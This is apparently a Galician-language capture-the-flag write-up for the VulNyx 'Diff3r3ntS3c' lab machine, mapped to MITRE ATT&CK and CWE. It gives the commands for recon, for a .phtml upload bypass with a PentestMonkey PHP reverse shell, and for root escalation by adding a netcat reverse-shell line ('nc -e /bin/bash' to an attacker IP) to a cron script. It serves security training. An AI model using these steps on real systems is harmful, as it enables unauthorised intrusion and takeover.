Ir ao contido

Diff3r3ntS3c

Máquina virtual Diff3r3ntS3c

Fig. VulNyx Diff3r3ntS3c
Fig. Card VulNyx Diff3r3ntS3c

A máquina Diff3r3ntS3c é moi interesante porque...

  • File upload bypass mediante extensión .phtml
  • Directorio /uploads accesible
  • Script con permisos de escritura executado por cron como root
  • Escalada mediante modificación de script de backup

Diagrama de ataque

Fig. Diagrama de ataque

Fase 1 — Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Diff3r3ntS3c -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Diff3r3ntS3c # 22,80
whatweb IP_VulNyx_Diff3r3ntS3c
curl -I IP_VulNyx_Diff3r3ntS3c

Fase 2 — Análise

# Enumeración de directorios web
dirb http://IP_VulNyx_Diff3r3ntS3c

# Directorio descuberto: /uploads
firefox http://IP_VulNyx_Diff3r3ntS3c/uploads &

# Análise da aplicación web
firefox http://IP_VulNyx_Diff3r3ntS3c &
# Na terceira lapela atopamos funcionalidade de subida de ficheiros

Fase 3 — Explotación

# Descarga de reverse shell PHP (PentestMonkey)
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

# Edición da reverse shell
nano php-reverse-shell.php
# Modificamos $ip e $port

# Renomeamos o ficheiro como a.phtml (para evitar filtros)
mv php-reverse-shell.php a.phtml

# Subida do ficheiro mediante o formulario web
# A aplicación permite subir ficheiros con extensión .phtml

# Preparamos listener no atacante
nc -nlvp 4444

# Execución da reverse shell
firefox http://IP_VulNyx_Diff3r3ntS3c/uploads/.../a.phtml &
# ⇒ Conseguimos reverse shell como usuario www-data

Fase 4 — Post‑explotación

# Enumeración do home do usuario
ls -la /home/[usuario]
# Cartafoles identificados: .scripts, backups

# Análise do script en .scripts
cat /home/[usuario]/.scripts/backup.sh
# Script que parece executarse como tarefa programada

# Verificación de tarefas programadas
cat /etc/crontab
# Confirmamos que o script execútase como root cada minuto

# Preparamos listener no atacante
nc -nlvp 5555

# Modificación do script para inxectar reverse shell
nano /home/[usuario]/.scripts/backup.sh
# Engadimos despois do shebang:
# nc -e /bin/bash IP_Atacante 5555

# Esperamos a que cron execute o script
# ⇒ Obtemos reverse shell de root

# Verificación
whoami # root
cd /root
cat root.txt # ⇒ Flag de root conseguida

Correspondencia de fases → MITRE ATT&CK — VulNyx: Diff3r3ntS3c

Fase Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
1. Recopilación Descubrimento de host e servizos expostos Scanning / descubrimento de servizos T1595 — Active Scanning
T1046 — Network Service Discovery
CWE-200 — Information Exposure (reconnaissance)
2. Análise Descubrimento de directorio uploads e funcionalidade de subida Web enumeration / file upload discovery T1083 — File and Directory Discovery
T1190 — Exploit Public-Facing Application
CWE-548 — Exposure of Information Through Directory Listing
3. Explotación Subida de webshell PHP con extensión .phtml Unrestricted file upload T1505.003 — Server Software Component: Web Shell
T1105 — Ingress Tool Transfer
CWE-434 — Unrestricted Upload of File with Dangerous Type
4. Post-explotación Enumeración de scripts e tarefas programadas Discovery local T1083 — File and Directory Discovery
T1053.003 — Scheduled Task/Job: Cron
CWE-200 — Information Exposure
Modificación de script executado por cron como root Privilege escalation via cron T1053.003 — Scheduled Task/Job: Cron
T1574.006 — Hijack Execution Flow: Dynamic Linker Hijacking
CWE-732 — Incorrect Permission Assignment for Critical Resource; CWE-269 — Improper Privilege Management
Execución de tarefa cron e obtención de shell root Scheduled task exploitation T1053.003 — Scheduled Task/Job: Cron
T1068 — Exploitation for Privilege Escalation
CWE-269 — Improper Privilege Management